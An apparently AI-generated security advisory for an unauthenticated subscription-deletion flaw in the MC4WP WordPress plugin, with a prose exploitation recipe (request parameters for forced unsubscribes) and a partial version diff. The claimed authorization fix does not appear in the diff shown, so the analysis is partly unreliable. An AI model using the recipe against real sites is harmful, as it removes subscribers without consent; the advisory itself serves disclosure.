Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1781: MC4WP: Mailchimp for WordPress <= 4.11.1 – Missing Authorization to Unauthenticated Arbitrary Subscription Deletion (mailchimp-for-wp)

CVE ID CVE-2026-1781
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 4.11.1
Patched Version 4.12.0
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1781:
The vulnerability exists in the MC4WP: Mailchimp for WordPress plugin versions up to and including 4.11.1. The root cause is missing authorization and improper validation of the `_mc4wp_action` POST parameter in the plugin’s admin request handler. The `listen_for_actions()` method in `/includes/admin/class-admin.php` processes any request containing the `_mc4wp_action` parameter without verifying the user’s authentication state or authorization level. This allows unauthenticated attackers to trigger the `mc4wp_admin_unsubscribe` action hook, which forces form processing to handle unsubscribe operations instead of subscribe operations.

Exploitation requires two components: the publicly exposed form ID (available in HTML source) and the target email address. Attackers send a POST request to any WordPress page where the plugin is active, containing the `_mc4wp_action` parameter set to `unsubscribe`, the `EMAIL` parameter with the target email, and the `_mc4wp_form_id` parameter. The plugin’s form processing logic in `/includes/forms/class-form.php` uses the `_mc4wp_action` value to determine whether to subscribe or unsubscribe, trusting this user-controlled parameter without validation.

The patch adds authorization checks to the `listen_for_actions()` method. The updated code in lines 101-104 of `/includes/admin/class-admin.php` now calls `$this->tools->is_user_authorized()` before processing any `_mc4wp_action` request. This function verifies the current user has the `manage_options` capability. If unauthorized, the request terminates with `wp_die()`. The fix ensures only authenticated administrators can trigger administrative actions via the `_mc4wp_action` parameter.

Successful exploitation allows unauthenticated attackers to unsubscribe arbitrary email addresses from the connected Mailchimp audience. This impacts email marketing campaigns by forcibly removing subscribers without their consent. The vulnerability requires the attacker to obtain the form ID, which is publicly visible in rendered HTML forms.

Differential between vulnerable and patched code

Code Diff
--- a/mailchimp-for-wp/autoload.php
+++ b/mailchimp-for-wp/autoload.php
@@ -62,12 +62,14 @@
         'MC4WP_Ninja_Forms_Field' => '/integrations/ninja-forms/class-field.php',
         'MC4WP_Ninja_Forms_Integration' => '/integrations/ninja-forms/class-ninja-forms.php',
         'MC4WP_Ninja_Forms_V2_Integration' => '/integrations/ninja-forms-2/class-ninja-forms.php',
+        'MC4WP_PeepSo_Integration' => '/integrations/peepso/class-peepso.php',
         'MC4WP_Plugin' => '/includes/class-plugin.php',
         'MC4WP_Procaptcha_Integration' => '/integrations/prosopo-procaptcha/class-procaptcha-integration.php',
         'MC4WP_Procaptcha' => '/integrations/prosopo-procaptcha/class-procaptcha.php',
         'MC4WP_Queue' => '/includes/class-queue.php',
         'MC4WP_Queue_Job' => '/includes/class-queue-job.php',
         'MC4WP_Registration_Form_Integration' => '/integrations/wp-registration-form/class-registration-form.php',
+        'MC4WP_Simple_Basic_Contact_Form_Integration' => '/integrations/simple-basic-contact-form/class-simple-basic-contact-form.php',
         'MC4WP_Tools' => '/includes/class-tools.php',
         'MC4WP_Upgrade_Routines' => '/includes/admin/class-upgrade-routines.php',
         'MC4WP_User_Integration' => '/includes/integrations/class-user-integration.php',
--- a/mailchimp-for-wp/config/default-form-content.php
+++ b/mailchimp-for-wp/config/default-form-content.php
@@ -5,7 +5,7 @@
 $signup_button_value    = esc_attr__('Sign up', 'mailchimp-for-wp');

 $content  = "<p>nt<label for="email">{$email_label}: n";
-$content .= "tt<input type="email" id="email" name="EMAIL" placeholder="{$email_placeholder_attr}" required>nt</label>n</p>nn";
+$content .= "tt<input type="email" id="email" name="EMAIL" placeholder="{$email_placeholder_attr}" autocomplete="email" required>nt</label>n</p>nn";
 $content .= "<p>nt<input type="submit" value="{$signup_button_value}">n</p>";

 return $content;
--- a/mailchimp-for-wp/includes/admin/class-admin-ajax.php
+++ b/mailchimp-for-wp/includes/admin/class-admin-ajax.php
@@ -19,6 +19,8 @@

     /**
      * Hook AJAX actions
+     *
+     * @return void
      */
     public function add_hooks()
     {
@@ -34,7 +36,6 @@
     {
         if (! $this->tools->is_user_authorized()) {
             wp_send_json_error();
-            return;
         }

         $list_ids  = (array) explode(',', $_GET['ids']);
--- a/mailchimp-for-wp/includes/admin/class-admin.php
+++ b/mailchimp-for-wp/includes/admin/class-admin.php
@@ -1,44 +1,44 @@
 <?php

 /**
-* Class MC4WP_Admin
-*
-* @ignore
-* @access private
-*/
+ * Class MC4WP_Admin
+ *
+ * @ignore
+ * @access private
+ */
 class MC4WP_Admin
 {
     /**
-    * @var string The relative path to the main plugin file from the plugins dir
-    */
+     * @var string The relative path to the main plugin file from the plugins dir
+     */
     protected $plugin_file;

     /**
-    * @var MC4WP_Admin_Messages
-    */
+     * @var MC4WP_Admin_Messages
+     */
     protected $messages;

     /**
-    * @var MC4WP_Admin_Ads
-    */
+     * @var MC4WP_Admin_Ads
+     */
     protected $ads;

     /**
-    * @var MC4WP_Admin_Tools
-    */
+     * @var MC4WP_Admin_Tools
+     */
     protected $tools;

     /**
-    * @var MC4WP_Admin_Review_Notice
-    */
+     * @var MC4WP_Admin_Review_Notice
+     */
     protected $review_notice;

     /**
-    * Constructor
-    *
-    * @param MC4WP_Admin_Tools $tools
-    * @param MC4WP_Admin_Messages $messages
-    */
+     * Constructor
+     *
+     * @param MC4WP_Admin_Tools $tools
+     * @param MC4WP_Admin_Messages $messages
+     */
     public function __construct(MC4WP_Admin_Tools $tools, MC4WP_Admin_Messages $messages)
     {
         $this->tools         = $tools;
@@ -49,23 +49,23 @@
     }

     /**
-    * Registers all hooks
-    */
+     * Registers all hooks
+     */
     public function add_hooks()
     {

         // Actions used globally throughout WP Admin
-        add_action('admin_menu', [ $this, 'build_menu' ]);
-        add_action('admin_init', [ $this, 'initialize' ]);
+        add_action('admin_menu', [$this, 'build_menu']);
+        add_action('admin_init', [$this, 'initialize']);

-        add_action('current_screen', [ $this, 'customize_admin_texts' ]);
-        add_action('wp_dashboard_setup', [ $this, 'register_dashboard_widgets' ]);
-        add_action('mc4wp_admin_empty_lists_cache', [ $this, 'renew_lists_cache' ]);
-        add_action('mc4wp_admin_empty_debug_log', [ $this, 'empty_debug_log' ]);
-
-        add_action('admin_notices', [ $this, 'show_api_key_notice' ]);
-        add_action('mc4wp_admin_dismiss_api_key_notice', [ $this, 'dismiss_api_key_notice' ]);
-        add_action('admin_enqueue_scripts', [ $this, 'enqueue_assets' ]);
+        add_action('current_screen', [$this, 'customize_admin_texts']);
+        add_action('wp_dashboard_setup', [$this, 'register_dashboard_widgets']);
+        add_action('mc4wp_admin_empty_lists_cache', [$this, 'renew_lists_cache']);
+        add_action('mc4wp_admin_empty_debug_log', [$this, 'empty_debug_log']);
+
+        add_action('admin_notices', [$this, 'show_api_key_notice']);
+        add_action('mc4wp_admin_dismiss_api_key_notice', [$this, 'dismiss_api_key_notice']);
+        add_action('admin_enqueue_scripts', [$this, 'enqueue_assets']);

         $this->ads->add_hooks();
         $this->messages->add_hooks();
@@ -73,15 +73,15 @@
     }

     /**
-    * Initializes various stuff used in WP Admin
-    *
-    * - Registers settings
-    */
+     * Initializes various stuff used in WP Admin
+     *
+     * - Registers settings
+     */
     public function initialize()
     {

         // register settings
-        register_setting('mc4wp_settings', 'mc4wp', [ $this, 'save_general_settings' ]);
+        register_setting('mc4wp_settings', 'mc4wp', [$this, 'save_general_settings']);

         // Load upgrader
         $this->init_upgrade_routines();
@@ -92,8 +92,8 @@


     /**
-    * Listen for `_mc4wp_action` requests
-    */
+     * Listen for `_mc4wp_action` requests
+     */
     public function listen_for_actions()
     {
         // do nothing if _mc4wp_action was not in the request parameters
@@ -109,27 +109,26 @@
         // verify nonce
         if (! isset($_REQUEST['_wpnonce']) || false === wp_verify_nonce($_REQUEST['_wpnonce'], '_mc4wp_action')) {
             wp_nonce_ays('_mc4wp_action');
-            exit;
         }

         $action = (string) $_REQUEST['_mc4wp_action'];

         /**
-        * Allows you to hook into requests containing `_mc4wp_action` => action name.
-        *
-        * The dynamic portion of the hook name, `$action`, refers to the action name.
-        *
-        * By the time this hook is fired, the user is already authorized. After processing all the registered hooks,
-        * the request is redirected back to the referring URL.
-        *
-        * @since 3.0
-        */
+         * Allows you to hook into requests containing `_mc4wp_action` => action name.
+         *
+         * The dynamic portion of the hook name, `$action`, refers to the action name.
+         *
+         * By the time this hook is fired, the user is already authorized. After processing all the registered hooks,
+         * the request is redirected back to the referring URL.
+         *
+         * @since 3.0
+         */
         do_action('mc4wp_admin_' . $action);

         // redirect back to where we came from (to prevent double submit)
-        if (isset($_POST['_redirect_to'])) {
+        if (! empty($_POST['_redirect_to'])) {
             $redirect_url = $_POST['_redirect_to'];
-        } elseif (isset($_GET['_redirect_to'])) {
+        } elseif (! empty($_GET['_redirect_to'])) {
             $redirect_url = $_GET['_redirect_to'];
         } else {
             $redirect_url = remove_query_arg('_mc4wp_action');
@@ -140,8 +139,8 @@
     }

     /**
-    * Register dashboard widgets
-    */
+     * Register dashboard widgets
+     */
     public function register_dashboard_widgets()
     {
         if (! $this->tools->is_user_authorized()) {
@@ -149,19 +148,19 @@
         }

         /**
-        * Setup dashboard widget, users are authorized by now.
-        *
-        * Use this hook to register your own dashboard widgets for users with the required capability.
-        *
-        * @since 3.0
-        * @ignore
-        */
+         * Setup dashboard widget, users are authorized by now.
+         *
+         * Use this hook to register your own dashboard widgets for users with the required capability.
+         *
+         * @since 3.0
+         * @ignore
+         */
         do_action('mc4wp_dashboard_setup');
     }

     /**
-    * Upgrade routine
-    */
+     * Upgrade routine
+     */
     private function init_upgrade_routines()
     {
         // upgrade routine for upgrade routine....
@@ -203,8 +202,8 @@
     }

     /**
-    * Renew Mailchimp lists cache
-    */
+     * Renew Mailchimp lists cache
+     */
     public function renew_lists_cache()
     {
         // try getting new lists to fill cache again
@@ -217,8 +216,8 @@
     }

     /**
-    * Customize texts throughout WP Admin
-    */
+     * Customize texts throughout WP Admin
+     */
     public function customize_admin_texts()
     {
         $texts = new MC4WP_Admin_Texts($this->plugin_file);
@@ -226,10 +225,10 @@
     }

     /**
-    * Validates the General settings
-    * @param array $settings
-    * @return array
-    */
+     * Validates the General settings
+     * @param array $settings
+     * @return array
+     */
     public function save_general_settings(array $settings)
     {
         $current = mc4wp_get_options();
@@ -251,19 +250,19 @@
         }

         /**
-        * Runs right before general settings are saved.
-        *
-        * @param array $settings The updated settings array
-        * @param array $current The old settings array
-        */
+         * Runs right before general settings are saved.
+         *
+         * @param array $settings The updated settings array
+         * @param array $current The old settings array
+         */
         do_action('mc4wp_save_settings', $settings, $current);

         return $settings;
     }

     /**
-    * Load scripts and stylesheet on Mailchimp for WP Admin pages
-    */
+     * Load scripts and stylesheet on Mailchimp for WP Admin pages
+     */
     public function enqueue_assets()
     {
         if (! $this->tools->on_plugin_page()) {
@@ -302,21 +301,21 @@
         );

         /**
-        * Hook to enqueue your own custom assets on the Mailchimp for WordPress setting pages.
-        *
-        * @since 3.0
-        *
-        * @param string $suffix
-        * @param string $page
-        */
+         * Hook to enqueue your own custom assets on the Mailchimp for WordPress setting pages.
+         *
+         * @since 3.0
+         *
+         * @param string $suffix
+         * @param string $page
+         */
         do_action('mc4wp_admin_enqueue_assets', '', $page);
     }



     /**
-    * Register the setting pages and their menu items
-    */
+     * Register the setting pages and their menu items
+     */
     public function build_menu()
     {
         $required_cap = $this->tools->get_required_capability();
@@ -326,43 +325,43 @@
                 'title'    => esc_html__('Mailchimp API Settings', 'mailchimp-for-wp'),
                 'text'     => 'Mailchimp',
                 'slug'     => '',
-                'callback' => [ $this, 'show_generals_setting_page' ],
+                'callback' => [$this, 'show_generals_setting_page'],
                 'position' => 0,
             ],
             [
                 'title'    => esc_html__('Other Settings', 'mailchimp-for-wp'),
                 'text'     => esc_html__('Other', 'mailchimp-for-wp'),
                 'slug'     => 'other',
-                'callback' => [ $this, 'show_other_setting_page' ],
+                'callback' => [$this, 'show_other_setting_page'],
                 'position' => 90,
             ],

         ];

         /**
-        * Filters the menu items to appear under the main menu item.
-        *
-        * To add your own item, add an associative array in the following format.
-        *
-        * $menu_items[] = array(
-        *     'title' => 'Page title',
-        *     'text'  => 'Menu text',
-        *     'slug' => 'Page slug',
-        *     'callback' => 'my_page_function',
-        *     'position' => 50
-        * );
-        *
-        * @param array $menu_items
-        * @since 3.0
-        */
+         * Filters the menu items to appear under the main menu item.
+         *
+         * To add your own item, add an associative array in the following format.
+         *
+         * $menu_items[] = array(
+         *     'title' => 'Page title',
+         *     'text'  => 'Menu text',
+         *     'slug' => 'Page slug',
+         *     'callback' => 'my_page_function',
+         *     'position' => 50
+         * );
+         *
+         * @param array $menu_items
+         * @since 3.0
+         */
         $menu_items = (array) apply_filters('mc4wp_admin_menu_items', $menu_items);

         // add top menu item
         $icon = file_get_contents(MC4WP_PLUGIN_DIR . '/assets/img/icon.svg');
-        add_menu_page('Mailchimp for WP', 'MC4WP', $required_cap, 'mailchimp-for-wp', [ $this, 'show_generals_setting_page' ], 'data:image/svg+xml;base64,' . base64_encode($icon), '99.68491');
+        add_menu_page('Mailchimp for WP', 'MC4WP', $required_cap, 'mailchimp-for-wp', [$this, 'show_generals_setting_page'], 'data:image/svg+xml;base64,' . base64_encode($icon), 99.68491);

         // sort submenu items by 'position'
-        usort($menu_items, [ $this, 'sort_menu_items_by_position' ]);
+        usort($menu_items, [$this, 'sort_menu_items_by_position']);

         // add sub-menu items
         foreach ($menu_items as $item) {
@@ -371,8 +370,8 @@
     }

     /**
-    * @param array $item
-    */
+     * @param array $item
+     */
     public function add_menu_item(array $item)
     {

@@ -396,8 +395,8 @@
     }

     /**
-    * Show the API Settings page
-    */
+     * Show the API Settings page
+     */
     public function show_generals_setting_page()
     {
         $opts      = mc4wp_get_options();
@@ -435,8 +434,8 @@
     }

     /**
-    * Show the Other Settings page
-    */
+     * Show the Other Settings page
+     */
     public function show_other_setting_page()
     {
         $opts       = mc4wp_get_options();
@@ -446,11 +445,11 @@
     }

     /**
-    * @param $a
-    * @param $b
-    *
-    * @return int
-    */
+     * @param $a
+     * @param $b
+     *
+     * @return int
+     */
     public function sort_menu_items_by_position($a, $b)
     {
         $pos_a = isset($a['position']) ? $a['position'] : 80;
@@ -459,8 +458,8 @@
     }

     /**
-    * Empties the log file
-    */
+     * Empties the log file
+     */
     public function empty_debug_log()
     {
         $log = $this->get_log();
@@ -470,8 +469,8 @@
     }

     /**
-    * Shows a notice when API key is not set.
-    */
+     * Shows a notice when API key is not set.
+     */
     public function show_api_key_notice()
     {

@@ -497,7 +496,7 @@
         }

         echo '<div class="notice notice-warning mc4wp-is-dismissible">';
-        echo '<p>', sprintf(wp_kses(__('To get started with Mailchimp for WordPress, please <a href="%s">enter your Mailchimp API key on the settings page of the plugin</a>.', 'mailchimp-for-wp'), [ 'a' => [ 'href' => [] ] ]), admin_url('admin.php?page=mailchimp-for-wp')), '</p>';
+        echo '<p>', sprintf(wp_kses(__('To get started with Mailchimp for WordPress, please <a href="%s">enter your Mailchimp API key on the settings page of the plugin</a>.', 'mailchimp-for-wp'), ['a' => ['href' => []]]), admin_url('admin.php?page=mailchimp-for-wp')), '</p>';
         echo '<form method="post">';
         wp_nonce_field('_mc4wp_action', '_wpnonce');
         echo '<input type="hidden" name="_mc4wp_action" value="dismiss_api_key_notice" />';
@@ -507,24 +506,24 @@
     }

     /**
-    * Dismisses the API key notice for 1 week
-    */
+     * Dismisses the API key notice for 1 week
+     */
     public function dismiss_api_key_notice()
     {
         set_transient('mc4wp_api_key_notice_dismissed', 1, 3600 * 24 * 7);
     }

     /**
-    * @return MC4WP_Debug_Log
-    */
+     * @return MC4WP_Debug_Log
+     */
     protected function get_log()
     {
         return mc4wp('log');
     }

     /**
-    * @return MC4WP_API_V3
-    */
+     * @return MC4WP_API_V3
+     */
     protected function get_api()
     {
         return mc4wp('api');
--- a/mailchimp-for-wp/includes/admin/class-review-notice.php
+++ b/mailchimp-for-wp/includes/admin/class-review-notice.php
@@ -30,7 +30,7 @@
     /**
      * Add action & filter hooks.
      */
-    public function add_hooks()
+    public function add_hooks(): void
     {
         add_action('admin_notices', [ $this, 'show' ]);
         add_action('mc4wp_admin_dismiss_review_notice', [ $this, 'dismiss' ]);
@@ -39,32 +39,29 @@
     /**
      * Set flag in user meta so notice won't be shown.
      */
-    public function dismiss()
+    public function dismiss(): void
     {
         $user = wp_get_current_user();
         update_user_meta($user->ID, $this->meta_key_dismissed, 1);
     }

-    /**
-     * @return bool
-     */
-    public function show()
+    public function show(): void
     {
         // only show on Mailchimp for WordPress' pages.
         if (! $this->tools->on_plugin_page()) {
-            return false;
+            return;
         }

         // only show if 2 weeks have passed since first use.
         $two_weeks_in_seconds = ( 60 * 60 * 24 * 14 );
         if ($this->time_since_first_use() <= $two_weeks_in_seconds) {
-            return false;
+            return;
         }

         // only show if user did not dismiss before
         $user = wp_get_current_user();
         if (get_user_meta($user->ID, $this->meta_key_dismissed, true)) {
-            return false;
+            return;
         }

         echo '<div class="notice notice-info mc4wp-is-dismissible" id="mc4wp-review-notice">';
@@ -74,7 +71,6 @@
         echo '</p>';
         echo '<form method="POST" id="mc4wp-dismiss-review-form"><button type="submit" class="notice-dismiss"><span class="screen-reader-text">', esc_html__('Dismiss this notice.', 'mailchimp-for-wp'), '</span></button><input type="hidden" name="_mc4wp_action" value="dismiss_review_notice" />', wp_nonce_field('_mc4wp_action', '_wpnonce', true, false), '</form>';
         echo '</div>';
-        return true;
     }

     /**
--- a/mailchimp-for-wp/includes/admin/class-upgrade-routines.php
+++ b/mailchimp-for-wp/includes/admin/class-upgrade-routines.php
@@ -11,23 +11,24 @@
 class MC4WP_Upgrade_Routines
 {
     /**
-     * @var float
+     * @var string
      */
-    protected $version_from = 0;
+    protected $version_from;

     /**
-     * @var float
+     * @var string
      */
-    protected $version_to = 0;
+    protected $version_to;

     /**
      * @var string
      */
-    protected $migrations_dir = '';
+    protected $migrations_dir;

     /**
-     * @param float $from
-     * @param float $to
+     * @param string $from
+     * @param string $to
+     * @param string $migrations_dir
      */
     public function __construct($from, $to, $migrations_dir)
     {
--- a/mailchimp-for-wp/includes/admin/migrations/4.0.0-groupings-to-interests.php
+++ b/mailchimp-for-wp/includes/admin/migrations/4.0.0-groupings-to-interests.php
@@ -4,7 +4,7 @@

 /**
  * @ignore
- * @return object
+ * @return null|object
  */
 function _mc4wp_400_find_grouping_for_interest_category($groupings, $interest_category)
 {
@@ -22,7 +22,7 @@

 /**
  * @ignore
- * @return object
+ * @return null|object
  */
 function _mc4wp_400_find_group_for_interest($groups, $interest)
 {
--- a/mailchimp-for-wp/includes/admin/migrations/4.0.0-hidden-fields-value-delimiter.php
+++ b/mailchimp-for-wp/includes/admin/migrations/4.0.0-hidden-fields-value-delimiter.php
@@ -26,6 +26,6 @@
     // update post if we replaced something
     if ($new != $old) {
         $post->post_content = $new;
-        wp_update_post($post);
+        wp_update_post(get_object_vars($post));
     }
 }
--- a/mailchimp-for-wp/includes/api/class-api-v3-client.php
+++ b/mailchimp-for-wp/includes/api/class-api-v3-client.php
@@ -13,14 +13,14 @@
     private $api_url = 'https://api.mailchimp.com/3.0/';

     /**
-    * @var array
+    * @var null|array
     */
-    private $last_response;
+    private $last_response = null;

     /**
-    * @var array
+    * @var null|array
     */
-    private $last_request;
+    private $last_request = null;

     /**
     * Constructor
@@ -134,6 +134,7 @@
         * Filter the request arguments for all requests generated by this class
         *
         * @param array $args
+        * @param string $url
         */
         $args = apply_filters('mc4wp_http_request_args', $args, $url);

--- a/mailchimp-for-wp/includes/api/class-api-v3.php
+++ b/mailchimp-for-wp/includes/api/class-api-v3.php
@@ -954,7 +954,7 @@
      */
     public function get_ecommerce_store_cart_lines($store_id, $cart_id, array $args = [])
     {
-        $resource = sprintf('/ecommerce/stores/%s/carts/%/lines', $store_id, $cart_id);
+        $resource = sprintf('/ecommerce/stores/%s/carts/%s/lines', $store_id, $cart_id);
         return $this->client->get($resource, $args);
     }

--- a/mailchimp-for-wp/includes/api/class-exception.php
+++ b/mailchimp-for-wp/includes/api/class-exception.php
@@ -10,19 +10,19 @@
 class MC4WP_API_Exception extends Exception
 {
     /**
-    * @var object
-    */
-    public $response = [];
+     * @var null|array
+     */
+    public $response;

     /**
-    * @var object
-    */
-    public $request = [];
+     * @var null|array
+     */
+    public $request;

     /**
-    * @var array
-    */
-    public $response_data = [];
+     * @var null|object
+     */
+    public $response_data;

     /**
      * MC4WP_API_Exception constructor.
@@ -39,18 +39,17 @@

         $this->request  = $request;
         $this->response = $response;
-
         $this->response_data = $data;
     }

     /**
-    * Backwards compatibility for direct property access.
-    * @param string $property
-    * @return mixed
-    */
+     * Backwards compatibility for direct property access.
+     * @param string $property
+     * @return mixed
+     */
     public function __get($property)
     {
-        if (in_array($property, [ 'title', 'detail', 'errors' ], true)) {
+        if (in_array($property, ['title', 'detail', 'errors'], true)) {
             if (! empty($this->response_data) && isset($this->response_data->{$property})) {
                 return $this->response_data->{$property};
             }
--- a/mailchimp-for-wp/includes/class-debug-log-reader.php
+++ b/mailchimp-for-wp/includes/class-debug-log-reader.php
@@ -115,7 +115,7 @@
     }

     /**
-     * @return string
+     * @return null|string
      */
     public function read_as_html()
     {
@@ -134,27 +134,4 @@
         $line = preg_replace(self::$regex, self::$html_template, $line);
         return $line;
     }
-
-    /**
-     * Reads X number of lines.
-     *
-     * If $start is negative, reads from end of log file.
-     *
-     * @param int $start
-     * @param int $number
-     * @return string
-     */
-    public function lines($start, $number)
-    {
-        $handle = fopen($start, 'r');
-        $lines  = '';
-
-        $current_line = 0;
-        while ($current_line < $number) {
-            $lines .= fgets($handle);
-        }
-
-        fclose($handle);
-        return $lines;
-    }
 }
--- a/mailchimp-for-wp/includes/class-debug-log.php
+++ b/mailchimp-for-wp/includes/class-debug-log.php
@@ -195,7 +195,7 @@
     /**
      * Converts PSR-3 levels to local ones if necessary
      *
-     * @param string|int Level number or name (PSR-3)
+     * @param string|int $level Number or name of logging level (PSR-3)
      * @return int
      */
     public static function to_level($level)
--- a/mailchimp-for-wp/includes/class-mailchimp-subscriber.php
+++ b/mailchimp-for-wp/includes/class-mailchimp-subscriber.php
@@ -8,7 +8,7 @@
     public $email_address = '';

     /**
-     * @var array The key of this object’s properties is the ID of the interest in question.
+     * @var null|array The key of this object’s properties is the ID of the interest in question.
      */
     public $interests = [];

@@ -18,37 +18,37 @@
     public $merge_fields = [];

     /**
-     * @var string Subscriber’s status.
+     * @var null|string Subscriber’s status.
      */
     public $status = 'pending';

     /**
-     * @var string Type of email this member asked to get (‘html’ or ‘text’).
+     * @var null|string Type of email this member asked to get (‘html’ or ‘text’).
      */
     public $email_type = 'html';

     /**
-     * @var string IP address the subscriber signed up from.
+     * @var null|string IP address the subscriber signed up from.
      */
     public $ip_signup;

     /**
-     * @var string The subscriber's language
+     * @var null|string The subscriber's language
      */
     public $language;

     /**
-     * @var boolean VIP status for subscriber.
+     * @var null|boolean VIP status for subscriber.
      */
     public $vip;

     /**
-     * @var array The tags applied to this member.
+     * @var null|array The tags applied to this member.
      */
     public $tags = [];

     /**
-     * @var array The marketing permissions for the subscriber.
+     * @var null|array The marketing permissions for the subscriber.
      */
     public $marketing_permissions = [];

--- a/mailchimp-for-wp/includes/class-mailchimp.php
+++ b/mailchimp-for-wp/includes/class-mailchimp.php
@@ -6,7 +6,7 @@
 class MC4WP_MailChimp
 {
     /**
-     * @var string
+     * @var mixed
      */
     public $error_code = '';

@@ -25,7 +25,7 @@
      * @param bool $update_existing Update information if this email is already on list?
      * @param bool $replace_interests Replace interest groupings, only if update_existing is true.
      *
-     * @return object
+     * @return null|object
      * @throws Exception
      */
     public function list_subscribe($list_id, $email_address, array $args = [], $update_existing = false, $replace_interests = true)
@@ -416,6 +416,7 @@

         // collect all lists in separate HTTP requests
         do {
+            $data = null;
             try {
                 $data = $client->get(
                     '/lists',
@@ -445,7 +446,7 @@
                 // break on other errors, like "API key missing"etc.
                 break;
             }
-        } while ($data->total_items >= $offset);
+        } while ($data && $data->total_items >= $offset);

         // key by list ID
         $lists = [];
@@ -525,7 +526,7 @@
         /**
          * Filters the total subscriber_count for the given List ID's.
          *
-         * @param string $count
+         * @param float|int $count
          * @param array $list_ids
          *
          * @since 2.0
--- a/mailchimp-for-wp/includes/forms/class-admin.php
+++ b/mailchimp-for-wp/includes/forms/class-admin.php
@@ -21,27 +21,29 @@
         $this->messages = $messages;
     }

-    /**
-     * Add hooks
-     */
-    public function add_hooks()
+    public function add_hooks(): void
     {
-        add_action('register_shortcode_ui', [ $this, 'register_shortcake_ui' ]);
-        add_action('mc4wp_save_form', [ $this, 'update_form_stylesheets' ]);
-        add_action('mc4wp_admin_edit_form', [ $this, 'process_save_form' ]);
-        add_action('mc4wp_admin_add_form', [ $this, 'process_add_form' ]);
-        add_filter('mc4wp_admin_menu_items', [ $this, 'add_menu_item' ], 5);
-        add_action('mc4wp_admin_show_forms_page-edit-form', [ $this, 'show_edit_page' ]);
-        add_action('mc4wp_admin_show_forms_page-add-form', [ $this, 'show_add_page' ]);
-        add_action('mc4wp_admin_enqueue_assets', [ $this, 'enqueue_assets' ], 10, 2);
+        add_action('mc4wp_save_form', [$this, 'update_form_stylesheets']);
+        add_action('mc4wp_admin_edit_form', [$this, 'process_save_form']);
+        add_action('mc4wp_admin_add_form', [$this, 'process_add_form']);
+        add_filter('mc4wp_admin_menu_items', [$this, 'add_menu_item'], 5);
+        add_action('mc4wp_admin_show_forms_page-edit-form', [$this, 'show_edit_page']);
+        add_action('mc4wp_admin_show_forms_page-add-form', [$this, 'show_add_page']);
+        add_action('mc4wp_admin_enqueue_assets', [$this, 'enqueue_assets'], 10, 2);

-        add_action('enqueue_block_editor_assets', [ $this, 'enqueue_gutenberg_assets' ]);
+        add_action('enqueue_block_editor_assets', [$this, 'enqueue_gutenberg_assets']);
     }


     public function enqueue_gutenberg_assets()
     {
-        wp_enqueue_script('mc4wp-form-block', mc4wp_plugin_url('assets/js/forms-block.js'), [ 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-components' ]);
+        wp_enqueue_script('mc4wp-form-block', mc4wp_plugin_url('assets/js/forms-block.js'), [
+            'wp-blocks',
+            'wp-i18n',
+            'wp-element',
+            'wp-components',
+            'wp-block-editor',
+        ]);

         $forms = mc4wp_get_forms();
         $data  = [];
@@ -64,7 +66,7 @@
             return;
         }

-        wp_register_script('mc4wp-forms-admin', mc4wp_plugin_url('assets/js/forms-admin.js'), [ 'mc4wp-admin' ], MC4WP_VERSION, true);
+        wp_register_script('mc4wp-forms-admin', mc4wp_plugin_url('assets/js/forms-admin.js'), ['mc4wp-admin'], MC4WP_VERSION, true);
         wp_enqueue_script('mc4wp-forms-admin');
         wp_localize_script(
             'mc4wp-forms-admin',
@@ -127,8 +129,8 @@
             'title'         => esc_html__('Forms', 'mailchimp-for-wp'),
             'text'          => esc_html__('Form', 'mailchimp-for-wp'),
             'slug'          => 'forms',
-            'callback'      => [ $this, 'show_forms_page' ],
-            'load_callback' => [ $this, 'redirect_to_form_action' ],
+            'callback'      => [$this, 'show_forms_page'],
+            'load_callback' => [$this, 'redirect_to_form_action'],
             'position'      => 10,
         ];

@@ -241,7 +243,7 @@

         // strip tags from messages
         foreach ($data['messages'] as $key => $message) {
-            $data['messages'][ $key ] = strip_tags($message, '<strong><b><br><a><script><u><em><i><span><img>');
+            $data['messages'][$key] = strip_tags($message, '<strong><b><br><a><script><u><em><i><span><img>');
         }

         // make sure lists is an array
@@ -255,7 +257,7 @@
         if (! current_user_can('unfiltered_html')) {
             $data['content'] = mc4wp_kses($data['content']);
             foreach ($data['messages'] as $key => $message) {
-                $data['messages'][ $key ] = mc4wp_kses($data['messages'][ $key ]);
+                $data['messages'][$key] = mc4wp_kses($data['messages'][$key]);
             }
         }

@@ -283,7 +285,7 @@
             $options = get_option('mc4wp', []);
             $posted  = $_POST['mc4wp'];
             foreach ($posted as $key => $value) {
-                $options[ $key ] = trim($value);
+                $options[$key] = trim($value);
             }
             update_option('mc4wp', $options);
         }
@@ -349,9 +351,9 @@
             // no default form, query first available form and go there
             $forms = mc4wp_get_forms(
                 [
-                'posts_per_page' => 1,
-                'orderby' => 'ID',
-                'order' => 'ASC',
+                    'posts_per_page' => 1,
+                    'orderby' => 'ID',
+                    'order' => 'ASC',
                 ]
             );

@@ -450,43 +452,6 @@
      */
     public function tab_url($tab)
     {
-        return add_query_arg([ 'tab' => $tab ], remove_query_arg('tab'));
-    }
-
-    /**
-     * Registers UI for when shortcake is activated
-     */
-    public function register_shortcake_ui()
-    {
-        $assets = new MC4WP_Form_Asset_Manager();
-        $assets->load_stylesheets();
-
-        $forms   = mc4wp_get_forms();
-        $options = [];
-        foreach ($forms as $form) {
-            $options[ $form->ID ] = $form->name;
-        }
-
-        /**
-         * Register UI for your shortcode
-         *
-         * @param string $shortcode_tag
-         * @param array $ui_args
-         */
-        shortcode_ui_register_for_shortcode(
-            'mc4wp_form',
-            [
-                'label'         => esc_html__('Mailchimp Sign-Up Form', 'mailchimp-for-wp'),
-                'listItemImage' => 'dashicons-feedback',
-                'attrs'         => [
-                    [
-                        'label'   => esc_html__('Select the form to show', 'mailchimp-for-wp'),
-                        'attr'    => 'id',
-                        'type'    => 'select',
-                        'options' => $options,
-                    ],
-                ],
-            ]
-        );
+        return add_query_arg(['tab' => $tab], remove_query_arg('tab'));
     }
 }
--- a/mailchimp-for-wp/includes/forms/class-asset-manager.php
+++ b/mailchimp-for-wp/includes/forms/class-asset-manager.php
@@ -21,17 +21,18 @@
     /**
      * Add hooks
      */
-    public function add_hooks()
+    public function add_hooks(): void
     {
         add_action('init', [ $this, 'register_scripts' ]);
         add_action('wp_enqueue_scripts', [ $this, 'load_stylesheets' ]);
         add_action('wp_footer', [ $this, 'load_scripts' ]);
